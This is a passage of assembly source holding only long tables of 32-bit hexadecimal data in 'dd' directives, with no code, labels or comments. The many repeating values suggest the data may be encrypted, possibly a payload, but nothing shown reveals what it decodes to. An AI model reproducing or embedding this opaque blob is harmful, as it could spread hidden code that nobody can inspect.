		dd 199CD307h, 1C267D52h, 1A299A47h, 156625B2h, 14EB1E32h
		dd 0ED668832h, 0A20694CDh, 90EF4335h, 1367C97Eh, 15668DDBh
		dd 9C9A0032h, 128F2609h, 93661132h, 48FDA5EAh, 0A8E57EADh
		dd 109F360Bh, 0D3E31E32h, 1A668832h, 156645B0h,	90A0DE32h
		dd 109F09ABh, 7EA8771h,	0FC664432h, 1566223Fh, 0DD1D64A6h
		dd 0A6AFD490h, 0D80E2D34h, 0BD654A1Bh, 0EC9E9A32h, 327F3DCDh
		dd 989F41CBh, 0EC5C48B7h, 0EC937137h, 0FCB67753h, 15664439h
		dd 0E8DF36B4h, 87C30191h, 9C70C9EFh, 14BE10B7h,	90A0DE34h
		dd 109F09ABh, 15606171h, 0A604432h, 63CD64EEh, 4E50C45Ah
		dd 1DE587D7h, 1A664432h, 156620B0h, 1A077132h, 15668EB7h
		dd 4F372432h, 0EA077C60h, 0EC410887h, 1DE08737h, 1A664432h
		dd 156620B1h, 98077132h, 0EC5CE2B7h, 0C599BD37h, 45E3ABC7h
		dd 756010EAh, 156A083Dh, 138E4432h, 4A662232h, 614EFAEBh
		dd 0DBE7D1C3h, 641211EBh, 8CE3E453h, 5663E82Ah,	0F40E74CBh
		dd 758CEE00h, 1569CA52h, 0AB5C1132h, 0C9D18889h, 152318CCh
		dd 8F06C9E3h, 0C4ED4835h
		dd 15776153h, 0E7FD4432h, 0FF31C32Ch, 4AAE1F77h, 0C73AD534h
		dd 7476D027h, 327F97CDh, 9A6914CBh, 1566883Ah, 0CED14B52h
		dd 7479C9B2h, 2F0C94BFh, 47068DCBh, 0E938BCB9h,	75B6DD53h
		dd 0B1BD9054h, 4C36E841h, 9C0725CAh, 14BE7AB7h,	90A0ED34h
		dd 109F90ABh, 220EBC71h, 0FCE2D39Eh, 1566113Ch,	0F4F6BEEFh
		dd 0BF5D4323h, 0B56A98D8h, 0A099FFAEh, 109FAF2Bh, 156CCD3Dh
		dd 108F2232h, 2661132h,	8BA02059h, 2F0CC1BFh, 48F27CBh
		dd 0A0661132h, 0F140C85Eh, 74189D9Ah, 77DE53D7h, 0AA5EA776h
		dd 0FD0658CDh, 15664422h, 911FB7ECh, 0E5D6EB6Ch, 73817D03h
		dd 453EC8BAh, 1566AF3Dh, 943E1132h, 730812C4h, 90EF253Ch
		dd 1367FA6Eh, 48F4252h,	6A668832h, 0EFB25A5Dh, 0B1B6201Ch
		dd 0B2AF49F9h, 92C39797h, 0EEB4FD6Bh, 0D3077D82h, 0EC7E88B7h
		dd 9A69C737h, 15664433h, 85B24ACAh, 0EA9F8607h,	0EC419187h
		dd 14EA4B37h, 0E0662232h, 2F0C94BFh, 9A698DCBh,	15664423h
		dd 15662EDBh, 0E8C2D332h, 0A533AF92h, 8A745877h, 0FCB6DD6Bh
		dd 15661134h, 1C791130h, 9A6945C8h, 15662233h, 75E398CBh
		dd 756089EAh, 0E4ADC5CAh, 7431104Fh, 0DFF94F4h,	0FC298DCBh
		dd 15664437h, 64032ACCh, 1B64790Ah, 9669715Ch, 1566443Dh
		dd 156628DBh, 42184632h, 0B02DC6D3h, 0EA34B409h, 0EC413B87h
		dd 18E01E37h, 75668832h, 2F3CF38Ah, 15E82D3Dh, 74661132h
		dd 2F0C0DBFh, 9B6941CBh, 1566222Ch, 1577F852h, 6A728832h
		dd 0FAF2DE15h, 0CF0E978h, 0B7935B2Bh, 94BF9375h, 21C0DAF4h
		dd 0C5994337h, 156CF8CBh, 26118832h, 0B0C06114h, 0A52A7B5Ah
		dd 0CD0294BBh, 1B8F8E33h, 8B664432h, 29CC7F2Eh,	9296274Fh
		dd 4B9EF42Ch, 8CE382B4h, 5863DB2Ah, 156617DBh, 25B9CC32h
		dd 75A1AD0Fh, 0AFC7CBB3h, 7D070C31h, 0DD51F17Bh, 157FCF3Dh
		dd 98692232h, 15661121h, 156686DBh, 0C337C332h,	0EA956B4Dh
		dd 23624A6Fh, 0EAC6D99Bh, 0EC415D87h, 0E22D37h,	75661132h
		dd 156685DAh, 0FD1FA532h, 28E31ABEh, 30C4629Eh,	743CD588h
		dd 2F0CC1BFh, 0EA9F27CBh, 9669E9E2h, 1566883Dh,	15664EDBh
		dd 0A7554132h, 0F383954Ch, 9C9B5F7Eh, 14BE28B7h, 156DCB34h
		dd 7F051132h, 0F6DC2358h, 0E3D88B4Eh, 8CE3E45Bh, 5863E82Ah
		dd 17E98752h, 42664432h, 74BFA96Bh, 0E22B985Ah,	156E61EEh
		dd 76BD4432h, 9ADA59CBh, 0A099186Bh, 109FAF2Bh,	15664EDBh
		dd 978CE032h, 0F03DCD30h, 98215161h, 0EC5C2EB7h, 73934237h
		dd 74BEEE8Bh, 906958CDh, 1566443Eh, 1560AA3Dh, 97691132h
		dd 15668832h, 0CD0EC1BBh, 75932433h, 0E18D9054h, 0D3077DACh
		dd 0EC7EDDB7h, 7D9A7737h, 897D3C05h, 156685DBh,	7C508032h
		dd 0E01C088Ah, 0F255F760h, 0A099B4B6h, 109F632Bh, 7FE3AFCEh
		dd 7563E808h, 2F82868Dh, 1A8F2513h, 90662232h, 93C2CCB5h
		dd 9B2272F8h, 8D86D4FDh, 0C59906EDh, 65E398CAh,	1A6089EAh
		dd 156648BBh, 13EF2D32h, 1A661132h, 156688B8h, 8CE38232h
		dd 5663DB2Ah, 156A973Dh, 91698832h, 15664434h, 1566AD3Dh
		dd 3F0E1132h, 1AB45DC2h, 15664AB9h, 0C4E74232h,	69B8CB93h
		dd 1566003Dh, 0EA074432h, 0EC413B87h, 1576F837h, 8FAB8832h
		dd 0CC1C4290h, 4BBFEA0Ah, 0B3C66787h, 90EB6BB8h, 109F7E58h
		dd 198EDA52h, 0F2661132h, 435B7FBAh, 344371Eh, 0A135A6AEh
		dd 75074E60h, 1566073Dh, 0EA074432h, 156ECBE2h,	51711132h
		dd 3D313767h, 90EFD212h, 1367FA46h, 156600DBh, 0DBC3FC32h
		dd 4E674704h, 0E6269D5Ah, 0F82C3076h, 90A071FDh, 109F5CABh
		dd 7E42D60h, 1A661132h,	156684BEh, 1561AD32h, 17EB2232h
		dd 0F3659C1Fh, 0BEF87B0h, 75664432h, 156628DBh,	5C833832h
		dd 1A41922Bh, 0FCD206DFh, 1566223Ah, 4ECFE1EAh,	6E748842h
		dd 0A18C2C53h, 0EA9FDF70h, 0EC410887h, 18F7D37h, 0C5664432h
		dd 0F541E749h, 0F3DF0EFBh, 4974DBDAh, 0CB8732Bh, 98005263h
		dd 0EC5C7BB7h, 15616137h, 21A94432h, 703A3C55h,	0C599E96Fh
		dd 0D0E301CAh, 7563BD20h, 413BFDB3h, 98691A88h,	15668823h
		dd 156648DBh, 0AF85DA32h, 0E67CDC59h, 0C6E72134h, 90A02538h
		dd 109F3AABh, 14E91E75h, 0EC668832h, 8D3FDD5Ah,	14E52DD0h
		dd 0E9661132h, 327F3DCDh, 0FC0641CBh, 15662239h, 437390Ch
		dd 0CDC6A0E5h, 9F161305h, 90EB43EBh, 109F2B58h,	0FCB677CBh
		dd 15664421h, 3127B903h, 0D3C71789h, 0B5418D47h, 0FCA4A13h
		dd 1A9A25CEh, 15661ABCh, 15606132h, 0CC464432h,	4A37EC74h
		dd 0CD1E94BBh, 1A068E33h, 9400868Dh, 74CC20D2h,	0DFF94F4h
		dd 0FC218DCBh, 1566443Dh, 0DA4F5D44h, 47349837h, 489D0ABFh
		dd 1A69AB8Dh, 156631B3h, 1568F832h, 60C18832h, 493F5C1Eh
		dd 0CFEC95BCh, 0D1D67F02h, 0E8064A5Ah, 0A099B183h, 109F052Bh
		dd 7FE39CCEh, 0ED637108h, 128F94CDh, 45662232h,	0E7C3A1C7h
		dd 90EFB30Ah, 13679C4Eh, 1576CB52h, 2BF21132h, 0FC0E9D2Ch
		dd 40B4D836h, 0DC0AC8Fh, 9A69E1B1h, 15668838h, 156641DBh
		dd 1E79A932h, 0D307726Dh, 0EC7E11B7h, 1A060337h, 156627B1h
		dd 0FDE77732h, 906992FFh, 15664437h, 0B4C8358Ah, 10E7046h
		dd 0EDB92ECCh, 327FF1CDh, 9C6927CBh, 15661133h,	7FE305CEh
		dd 7563BD08h, 15662DDBh, 0AA621332h, 786F60FEh,	1D34EB29h
		dd 0A99D619Bh, 742AD4B2h, 1A0658CDh, 156646B4h,	0FCA7A832h
		dd 15661120h, 4583CEBCh, 9E102A6Ch, 7A4EDE67h, 8ABC1213h
		dd 9C076FA3h, 14BEC4B7h, 90A0D734h, 109F09ABh, 7D0E7D6Dh
		dd 0FCF814C0h, 15662223h, 0A07E9E7h, 0FF27E1B3h, 0DA4C63BDh
		dd 0E29AC8CEh, 0CD3EE13h, 75637115h, 1560C93Dh,	0DEE72232h
		dd 5F33BF8h, 156686DBh,	0F52CA632h, 0CC3F3E0h, 8E3D9BBCh
		dd 74C139C1h, 2F0CC1BFh, 420627CBh, 987AF68h, 1A078FE3h
		dd 156645B8h, 0C599DB32h, 17EB1E52h, 0A3668832h, 1D6DFAB0h
		dd 0FC070C9Eh, 15661137h, 4D893A18h, 91E3CD2Fh,	0FC6023EAh
		dd 15661134h, 0DC44A4C5h, 0D393917Bh, 0EC7EBBB7h, 1A8F5E37h
		dd 34668832h, 1713C172h, 6C816C37h, 0E5C50CF4h,	2A0E05B8h
		dd 0E9A1B849h, 327F97CDh, 128F14CBh, 29668832h,	0E4AB6477h
		dd 90EBFCF0h, 109F2B58h, 1567083Dh, 759A4432h, 0E90A3CEh
		dd 744E6E27h, 0FC0658CDh, 15664420h, 0AB86788h,	40357056h
		dd 6F9A37C6h, 21A0FE5h,	0FFE74F85h, 32AA3882h, 0A5E30153h
		dd 756045EAh, 95AC9D3Dh, 0D307CDE3h, 0EC7E11B7h, 1A8F0337h
		dd 0ED662232h, 0ED4F8F3Eh, 2C509C77h, 1B40AEBCh, 590EDC99h
		dd 0E09C4A5Ch, 327F3DCDh, 976941CBh, 15662237h,	0EBD91E52h
		dd 7FE30553h, 0EC63BD08h, 9C93F2CDh, 14BEA5B7h,	90A07434h
		dd 109F5CABh, 1577CB75h, 3B821132h, 0D3E77A76h,	0B5BCDEE7h
		dd 5B3D8D68h, 7D399DAFh, 0D660ACFFh, 1561CB3Dh,	97692232h
		dd 15661133h, 14EE87CEh, 0E0664432h, 327F97CDh,	989314CBh
		dd 0EC5CE2B7h, 0C599BD37h, 156BAD3Dh, 73061132h, 64F367B3h
		dd 1566C73Dh, 9C072232h, 14BEA9B7h, 14EE8734h, 0E9664432h
		dd 0DFFA7F4h, 0E03914CBh, 156699DBh, 0EB19D132h, 46AF9EAFh
		dd 0C842224Fh, 2D75F541h, 0D90E29C0h, 75B29952h, 0AE91A63Dh
		dd 2FF48369h, 0CD3BB53h, 0FC63DB15h, 1566113Fh,	0AB273D09h
		dd 19BA2942h, 738A4B10h, 7FE39C45h, 1A637108h, 15665AB2h
		dd 4E344232h, 156605DAh
		dd 0FE535732h, 0D5105116h, 3911920h, 0D992956Dh, 0B406303Dh
		dd 0EA071F2Ah, 14EC2DE2h, 0E9661132h, 0CDEE0DBBh, 99694233h
		dd 15662233h, 8CE3D7CEh, 4A63712Ah, 6258FD52h, 1D8F19EDh
		dd 0B0661132h, 4BC0E401h, 74BB24D6h, 0FC326C5Ah, 0A099E4ACh
		dd 109FAF2Bh, 1561CF3Dh, 1A062232h, 0C2EDCE85h,	7FE30553h
		dd 1A63BD08h, 156623BBh, 0C599E432h, 99E301CBh,	1A6045EAh
		dd 15662FB3h, 156EF832h, 0E1728832h, 0EA8FC1EEh, 90A05E81h
		dd 109F09ABh, 5D0E746Dh, 75B7571Ah, 7343FBB2h, 0EA07E2B9h
		dd 0EC419187h, 1574AD37h, 0A4592232h, 752AB8E9h, 44B51E07h
		dd 0A5960D18h, 1D1EAE4h, 2F0C94BFh, 0EA9F8DCBh,	90EFB8E2h
		dd 1367FAA2h, 469C9A52h, 40A143B3h, 743C01F2h, 96692658h
		dd 1566113Fh, 156680DBh, 1C5F8F32h, 86CFB3Eh, 56679ADh
		dd 7D9A8832h, 15665432h, 0E96648CBh, 59784CDh, 9C9F8DCBh
		dd 0EC6EB1B7h, 90EBDA37h, 13674597h, 75B677CBh,	9CF1FB54h
		dd 156633DAh, 0F4307932h, 2045D6ADh, 0F564DA65h, 874DEA28h
		dd 4F313621h, 7F93E96Dh, 156FAD36h, 472C2232h, 0E59A2C67h
		dd 1A653D9Fh, 156645BBh, 150EDA32h, 1A661122h, 15669DBEh
		dd 1AE14B32h, 0FC662232h, 15661138h, 8C96E004h,	84B592EFh
		dd 150E3A01h, 0ED661112h, 0FAE67052h, 150C25FDh, 156628DBh
		dd 0D57A2232h, 1C73110Ah, 0EA97B4C2h, 0EC76D3A7h, 73347137h
		dd 4D44FE89h, 0FC07BFB9h, 1566223Dh, 6ABA179Eh,	0A5EF0B0Dh
		dd 14ED265Bh, 9C9CFE21h, 0EC6258B7h, 9C9A7437h,	0EC7F85B7h
		dd 156BCB37h, 918F1132h, 0A54B87Ch, 3513575Ah, 7F831CAFh
		dd 94007172h, 73AE22F8h, 7D078BB9h, 15663232h, 156603DBh
		dd 57854832h, 8FCF25A8h, 0A7CD0034h, 0E13DBC54h, 7D309FA7h
		dd 15674432h, 756648CAh, 8E08A954h, 15668DDAh, 7BFC4532h
		dd 0AF0002C8h, 743DDE07h, 5971DCDh, 926941CBh, 15662224h
		dd 156600DBh, 0B1302D32h, 0BC723233h, 9369D825h, 0EC324481h
		dd 90EF4864h, 109F6113h, 0C4ED4452h, 156B9E3Dh,	1D8F8832h
		dd 0C1664432h, 42D6F59Bh, 74494581h, 328F3DB9h,	9F6941CBh
		dd 15662233h, 10FB9AC7h, 0FC637110h, 15664422h,	2B1F0D0Dh
		dd 13EDF89Bh, 31A5CDC3h, 2B12EB1Fh, 0F9F97BBh, 1D8F14CBh
		dd 7668832h, 956FC10Eh,	7529ACF6h, 156602DAh, 86170632h
		dd 2164AE70h, 0F0D697FAh, 28C40A28h, 818886A1h,	156657DAh
		dd 97D46D32h, 233DDC8h,	0F8483724h, 4BD54519h, 0D6C1A55Dh
		dd 0AA694B6Dh, 88EFE9ECh, 109F61D7h, 0ED2DCBh, 0FC661132h
		dd 15668822h, 0CA67DB78h, 0E3D78225h, 34579538h, 0E1E4D49Fh
		dd 3763D9B9h, 986927CBh, 1566113Ah, 15E58752h, 74664432h
		dd 15DF7360h, 9C661132h, 0CF67D1F8h, 0EC3C4EB9h, 1A66DBB1h
		dd 155C0BB6h, 1A8FE832h, 0DC664432h, 0B5098333h, 0EA66222Bh
		dd 52324332h, 0AA69441Fh, 0EF0E43C1h, 9C66115Dh, 439EAC36h
		dd 0D3E7A2BBh, 15662236h, 9262FFB1h, 9C3AAC06h,	1F8F603Eh
		dd 0F2662232h, 4DEA9954h, 6A85E362h, 0FC06B10Eh, 15662223h
		dd 86C7ECE5h, 96911680h, 183F9F33h, 474E4BF4h, 0EDA620C9h
		dd 27EB0DBBh, 976941CBh, 1566223Ah, 73394652h, 7456618Ch
		dd 9C62A8B1h, 98DB061Eh, 9428551Ah, 0C011FED7h,	0DD8BC57Eh
		dd 9C2A662Dh, 1A064CDCh, 15668AB3h, 73A0CF32h, 74CC038Bh
		dd 51B6FFB3h, 0D3E7A539h, 1F7B1FEFh, 35425631h,	4EBBFFB3h
		dd 0D3E7822Fh, 386D00E2h, 1569CB52h, 0DAF21132h, 3ADA13F4h
		dd 0D19C0ECEh, 0EAEEDD8Ah, 7488A2EAh, 389A2554h, 1633315h
		dd 35426631h, 1424AA61h, 0DEE79818h, 2D7F47D6h,	0D795A379h
		dd 144A2F46h, 0A106D3EAh, 1575AD65h, 0C7052232h, 466E1D30h
		dd 679C9800h, 0E7A080CAh, 62FE2AA9h, 6599704Eh,	3152094Ah
		dd 6A017778h, 964216B9h, 0E3E715F6h, 6A01BB78h,	156EC33Dh
		dd 97692232h, 15661130h, 0A833E952h, 591948A8h,	163BCC33h
		dd 94463546h, 6A6A12DCh, 1575AD7Eh, 25B62232h, 0ECA82FF6h
		dd 5F8BDCAh, 0B6DC4A4h,	0E30D77EAh, 0D10EE2Eh, 9442B4B9h
		dd 156640F6h, 96694232h, 15661132h, 156698DBh, 235BD332h
		dd 84EC5E82h, 5760AB96h, 0DD201ADh, 0A8EF2563h,	109F3667h
		dd 156602DBh, 1C221332h, 0A534A393h, 0BB03ADAAh, 0E12ED7D8h
		dd 1C5754D2h, 9069BBB7h, 15662216h, 0E0B19052h,	0FC0DCB83h
		dd 15664439h, 0ED4700E6h, 316331BFh, 749BCCCDh,	150403DAh
		dd 0B58FD732h, 0ED661136h, 10860162h, 15664436h, 9262CAB1h
		dd 9C3A3536h, 128FAC3Eh, 51664432h, 1401EFD4h, 996949E5h
		dd 1566883Dh, 15664EDBh, 4527332h, 0B778044Eh, 42AC7690h
		dd 944250B9h, 156626F6h, 14EC1E32h, 0ED668832h,	0E0629659h
		dd 1093B7BBh, 7F9A14CBh, 150E7D36h, 0FC664422h,	1566223Ah
		dd 0CBFE38CCh, 0B9ED1746h, 1507025Ah, 3172AB32h, 0CDED7752h
		dd 15636152h, 0AAED4432h, 0FC6DD77Fh, 1566113Fh, 0F3CC173Fh
		dd 26E6EA29h, 7CB45EBh,	7F077014h, 14EE8732h, 0ED664432h
		dd 597B7CDh, 966914CBh,	15668837h, 0E063F452h, 40E3AB53h
		dd 1A63E816h, 1566A0B2h, 1C8F2432h, 0D2662232h,	8A1A8219h
		dd 3B3BF031h, 156657DBh, 0E6674932h, 2C74885h, 476BA5B0h
		dd 0B6E75D9Ch, 42509886h, 21E74153h, 0FE28F016h, 3172CF71h
		dd 1562E6B3h, 0E7E71132h, 568DC64Ah, 156DCC3Dh,	94062232h
		dd 1A4CD4F8h, 0EFEDEE53h, 3152BB53h, 11A2A16Bh,	0E7ED7752h
		dd 0A54B3654h, 156CAD53h, 26112232h, 0B0C03414h, 0A52AD15Ah
		dd 150753DAh, 1561CB32h, 15881132h, 3694B612h, 0F6EF17DBh
		dd 1562E1B3h, 0FEE51132h, 317A0F36h, 3152CD6Eh,	759E8FCAh
		dd 74A0AE3Dh, 670C3664h, 0E54F5914h, 3122216Ch,	670C1416h
		dd 73069514h, 0AD638CB3h, 4F8FA354h, 7D36706Ah,	15669984h
		dd 4D4278BBh, 12EA2D6Dh, 75661132h, 75A70354h, 0FF0E2553h
		dd 9C662213h, 1A3D350Eh, 156681BCh, 88D72432h, 32AD708Ch
		dd 9E0E701Ch, 9C66881Ah, 0FC93600Eh, 1566223Ch,	0FA4A0331h
		dd 885EBC00h, 9F713DF4h, 0D5565C08h, 996971CBh,	15668831h
		dd 7396CF54h, 0BB07EAB9h, 1A06EC47h, 15668AB8h,	733F1632h
		dd 0F347EBB3h, 0DEE1E53h, 0FC668832h, 15664421h, 7A309C1Dh
		dd 3E70FAFDh, 0C4CD9FE2h, 8855C0CEh, 9E2EF1EDh,	9C373506h
		dd 11A709D3h, 96664432h, 19E126F3h, 1A8F4D16h, 2B668832h
		dd 9BC60AC6h, 0F7FF2D01h, 0EF875A98h, 0D2E7059Bh, 5C5C38CFh
		dd 0A833FD1Bh, 81955DDh, 1083497Fh, 4A53A1B3h, 0D0E7358Fh
		dd 54F44ECFh, 0E93B671Bh, 1551655Ah, 3172AB32h,	156E9B3Dh
		dd 9A698832h, 15664430h, 94314352h, 46F93536h, 443CFDC0h
		dd 0CC6B1C8Bh, 52A7A301h, 3C240874h, 18FD1F8h, 7B664432h
		dd 0BCB7CCC7h, 0AAC7E018h, 0C6B7D031h, 74F1CBE8h, 9E86400Eh
		dd 0EC6EE48Fh, 0EADF7037h, 0FC99BBCDh, 15662235h, 0C1B57A52h
		dd 24EC186Bh, 0C3E624F2h, 74649392h, 1566A863h,	0E4678832h
		dd 19ED45B8h, 11A2A316h, 1A661132h, 156689B5h, 0DD56B832h
		dd 14DC70CEh, 14661132h, 9D69D2E4h, 15664437h, 7406DA52h
		dd 9252EE53h, 7C903361h, 495736CCh, 4D3D2616h, 0EB0FE707h
		dd 156E6140h, 91334432h, 0E3E7F98h, 0FCA75FDAh,	0D457703Ah
		dd 156FC13Dh, 73062232h, 7353BC8Dh, 5F0746B9h, 0EAEFC13Dh
		dd 188FDDCDh, 0B8661132h
		dd 753B8AEFh, 3F1CF5EEh, 19D88796h, 47AC9860h, 32428CB3h
		dd 4D58AC63h, 0FD37051Fh, 45934B0Ch, 0E2429CB5h, 3172C3E0h
		dd 7EE2D6Ah, 1A661132h,	156684B7h, 1561AD32h, 7A622232h
		dd 7C5A47FFh, 31527704h, 11A2C568h, 0E9662232h,	151FF35Ah
		dd 31620132h, 950646BDh, 0E6EDF7F4h, 11DF4053h,	14668832h
		dd 316ACFF8h, 1562E6B3h, 91691132h, 1566883Ch, 15664DDBh
		dd 0D276F732h, 0A7E73775h, 9C35EAC6h, 11A5C5D1h, 94662232h
		dd 156615D9h, 317A0F32h, 3172CD6Eh, 98E3DDCEh, 1A63E800h
		dd 156684BCh, 1561AD32h, 5BB92232h, 0E24EA5EBh,	98F3036Fh
		dd 0E963BD00h, 133B70Bh, 916914CBh, 156688A0h, 1579C13Dh
		dd 0FD062232h, 15661121h, 4F3EED8h, 0F5F5EE1h, 41593F5h
		dd 1F91CE93h, 4EE75EF9h, 5438FA54h, 3172A953h, 10869862h
		dd 15668836h, 926284B1h, 0FC3A0636h, 15661120h,	128FF533h
		dd 0B625D5B1h, 477C408Ch, 0C2155EB7h, 0AB06CB78h, 789EC885h
		dd 3152DD53h, 11A2926Ch, 1567053Dh, 7D9E4432h, 156647BCh
		dd 0AE420DBBh, 15668836h, 753D9A33h, 0FC07DAC7h, 0EA99EDE7h
		dd 156699DBh, 9115EA32h, 102E6F0Ah, 3E80EB6Eh, 0E0161EB2h
		dd 2199B5E2h, 0D1E57816h, 156CF836h, 7E698832h,	7F3E92B2h
		dd 26A01543h, 454225B9h, 116368BBh, 96664432h, 11E126F2h
		dd 749E4D16h, 15690B3Dh, 1F8F4432h, 0CE662232h,	3E65D13Fh
		dd 0E663B17Dh, 1560AD49h, 3E9B2232h, 426EE1C3h,	424284B9h
		dd 0D2E7A3BBh, 15662236h, 1562D6B3h, 29E18832h,	9B691816h
		dd 15662233h, 3152EECBh, 11A20B6Ah, 7CE383C7h, 1563DB12h
		dd 0FC661132h, 15668822h, 0DC5B94C3h, 6C52DBA0h, 0CA538A77h
		dd 1F7D8A09h, 183C1F5h,	156627CBh, 969E1132h, 14B1708Fh
		dd 91694434h, 1566221Eh, 1570953Dh, 48F8832h, 7B664432h
		dd 0EB2B9CC6h, 907A7771h, 0B3813D1Bh, 28147525h, 596CBFBFh
		dd 9D691732h, 15668833h, 0EDB5BBC7h, 553A7CDh, 58F14CBh
		dd 4668832h, 0E1F5C7DBh, 7D226E7Fh, 1E3AD5ECh, 75619068h
		dd 0AA7DE48Ch, 14EA2D70h, 0E0661132h, 20DB0B53h, 7163BD22h
		dd 170BA03Dh, 94061132h, 14F45CECh, 74BCCF59h, 553A7F5h
		dd 156714CBh, 75938832h, 1567C03Dh, 1A932232h, 156607B6h
		dd 15776132h, 205E4432h, 0B0ADADECh, 46F13089h,	14AEF881h
		dd 98353080h, 147E47B7h, 1561F834h, 52418832h, 0FE3987F4h
		dd 0FCB6DD74h, 15661138h, 6B492662h, 7AB17ACDh,	0A0EBCF34h
		dd 1367C9FAh, 0FDE7EE52h, 980762F3h, 1703328Fh,	1561F834h
		dd 153B8832h, 65476ECBh, 14E02D24h, 0E0661132h,	6B733567h
		dd 0FA4F4221h, 94910B6Fh, 61804F5h, 9E00E834h, 9B6924C5h
		dd 15662232h, 2FFAE6B3h, 74079FB0h, 3152C565h, 1EA02AACh
		dd 8BDE4168h, 246D4E3Ah, 9E931CF0h, 0EC6ED78Fh,	0EADFED37h
		dd 0EC9977CDh, 1561CF3Dh, 97692232h, 15661133h,	0FCA6B9CAh
		dd 15664438h, 1B3D4D50h, 8E789DB4h, 7E0E9F66h, 9C664477h
		dd 15DF063Eh, 14661132h, 4C6702C3h, 0FCAE74CBh,	15662223h
		dd 90997A2Eh, 0F6FC7C98h, 0EA32C7AEh, 0D273F506h, 14DB4480h
		dd 14668832h, 730619DCh, 5FC3FAB3h, 0B2557D8Ah,	2199E94Fh
		dd 3162C5B5h, 584A180Dh, 45DB446Ah, 94567C64h, 3608D4FFh
		dd 94B3D53Bh, 0A62F5DDFh, 0C2AB0961h, 94244F6Ah, 0D9DC6AF7h
		dd 488E38E8h, 15710C3Dh, 78F4432h, 0B9662232h, 7AD2E761h
		dd 6E8E160Fh, 3039B9CFh, 1209FCA7h, 1D8FD0CBh, 75A7B9CEh
		dd 156649DBh, 80171A32h, 5955D70h, 9513FB67h, 0CFEDA5C2h
		dd 90696853h, 0EA99EE73h, 118A09CBh, 9C664432h,	753E063Eh
		dd 1566943Dh, 83078832h, 0C79192B5h, 1AF0F4B5h,	156610B9h
		dd 905F7D32h, 109F5387h, 15CFA63Dh, 73061132h, 750752B9h
		dd 15664CDBh, 15DDB32h,	4411C22Eh, 5D810954h, 74559323h
		dd 1566225Ah, 31629A32h, 15624CB3h, 46064432h, 1566AB3Dh
		dd 0ED381132h, 1AA68353h, 156603B7h, 1576CB32h,	0B8E71132h
		dd 23C8718Eh, 8D3A4791h, 16CE3CA9h, 90A13721h, 109F9C73h
		dd 15664433h, 156627DBh, 76F89732h, 0E00633A0h,	1573C73Dh
		dd 1A8E2232h, 24661132h, 0E69EDF3Dh, 1045EACEh,	5D995AB7h
		dd 743E9075h, 4CDC3567h, 0FC674403h, 94420EB9h,	156615F6h
		dd 15636132h, 9FF44432h, 0FCA8EF65h, 15661135h,	0F4281F44h
		dd 7481A155h, 4507DA52h, 7E73158Ah, 1E9D8D68h, 0C591173Bh
		dd 55B6D572h, 3F609B07h, 0E2CAA54Bh, 0D4EFD7B4h, 640ED76Ah
		dd 9E3DFFB7h, 0D1E5AC26h, 156DAD36h, 0B9152232h, 520172FBh
		dd 0AD6E33B4h, 19E24BF1h, 1A662232h, 156617BDh,	15EC8732h
		dd 0B8664432h, 156AA43Dh, 97691132h, 15668834h,	1566C43Dh
		dd 0A0EF2232h, 109F0BCBh, 15670D3Dh, 75934432h,	24AD9954h
		dd 4407DAB8h, 0EA99748Bh, 429745CDh, 0B029725Ah, 0CA914E0Ch
		dd 0F2A75FC5h, 6D89C531h, 9C930848h, 753F4E0Bh,	0AB00D285h
		dd 0FC071570h, 1566223Dh, 0B6CB6F5Fh, 788A56B2h, 6D723392h
		dd 28374EE6h, 0FB88FFDCh, 158A0D3Dh, 98694432h,	1566222Ah
		dd 156602DBh, 0E7E7EE32h, 7EB7C4AEh, 7B856E60h,	4FBB2453h
		dd 2224A608h, 15664CDBh, 0A1AD0232h, 929F950h, 0C858092Eh
		dd 1ABB99EFh, 156697B7h, 4E01E32h, 75668832h, 15664DDBh
		dd 0B7E2AF32h, 16759FF2h, 749A2A7Eh, 0BE6083CEh, 0EA2B512Fh
		dd 9CDE413Ch, 1C58ED36h, 23E71C34h, 6A113F99h, 156601DBh
		dd 0EF4CB032h, 21BAB196h, 11912B80h, 0E74037A0h, 11DFD909h
		dd 94664432h, 0CC56D9F4h, 94A8107Eh, 0CC5673DCh, 0FC061D7Eh
		dd 1566223Ah, 669D099Ch, 9A7BB2F1h, 1566CA3Dh, 9C072232h
		dd 0EC7CE887h, 0E2E6E837h, 7ED4B7Dh, 0FC662232h, 1566113Fh
		dd 0D0C04D2Ah, 2434AA96h, 0E4D40E15h, 0B88F706Bh, 1A66881Fh
		dd 156648BAh, 13E22D32h, 1A661132h, 156688B6h, 0EB07AD32h
		dd 9406DDCDh, 1BDB64E1h, 190EE975h, 9C664452h, 0FC3D0636h
		dd 15661135h, 23D396ECh, 0FCA47B0Ah, 15662220h,	1D1DA427h
		dd 831D2CAh, 6DA53D38h,	64B7A4AFh, 90550BFEh, 109F9C73h
		dd 1576CD3Dh, 1E8F2232h, 32661132h, 2B4966D9h, 0AED4DA35h
		dd 1A8F62B6h, 3A661132h, 38EED528h, 76A247F9h, 5929BA42h
		dd 0DDA7D97Ch, 0AA317031h, 57095348h, 3C39DA33h, 21C3CE2h
		dd 9569CA5Dh, 15664435h, 1567A13Dh, 759A1132h, 0D2EC2D84h
		dd 5A68553h, 74A79052h,	1B8FD903h, 58668832h, 5CA6D73Dh
		dd 43D80D5Ch, 38DDE5Dh,	54FB0119h, 1A63BD26h, 156625B5h
		dd 14E41E32h, 0E0668832h, 1466440Fh, 0F5E52D32h, 0FC661133h
		dd 15668835h, 824DAFE0h, 94A4E09Fh, 0AEDDAA0Ch,	0DDE38789h
		dd 75664433h, 5B669952h, 0CAED54E8h, 0AC37E953h, 39695384h
		dd 4180D3B3h, 0CC9106DFh, 5A2A69B3h, 0DCE71679h, 4C66F5Ch
		dd 788F907Bh, 9C37217Fh, 316ACF3Ch, 1562E6B3h, 0E9061132h
		dd 108FE9CEh, 1D664432h, 54375A35h, 34DC4367h, 942B220Ch
		dd 7158A9F8h, 0CCACA362h, 94471850h, 6D12D9F0h,	5F94C545h
		dd 9C9345C1h, 0FB674BE7h, 1A34E86Fh, 7438958Dh,	0F9F97BBh
		dd 916914CBh, 15668838h, 1A3D1352h, 156622B4h, 88ED7032h
		dd 109FAA37h, 0F6E72252h, 0E3E7AE6Eh, 36A0FA3Dh, 9469E853h
		dd 1566443Eh, 156625DBh, 0B4A5E132h, 1D94DDEBh,	5CBD2C53h
		dd 1EF2232h, 1566AB16h
		dd 0CF678832h, 753C4EB9h, 1573A43Dh, 58F1132h, 0C0668832h
		dd 0B6BFE3CFh, 491CF93Eh, 0A4C134D3h, 746BB2E1h, 43A0CD64h
		dd 138F7C68h, 2F661132h, 6974BBF1h, 0FC06245Eh,	15662223h
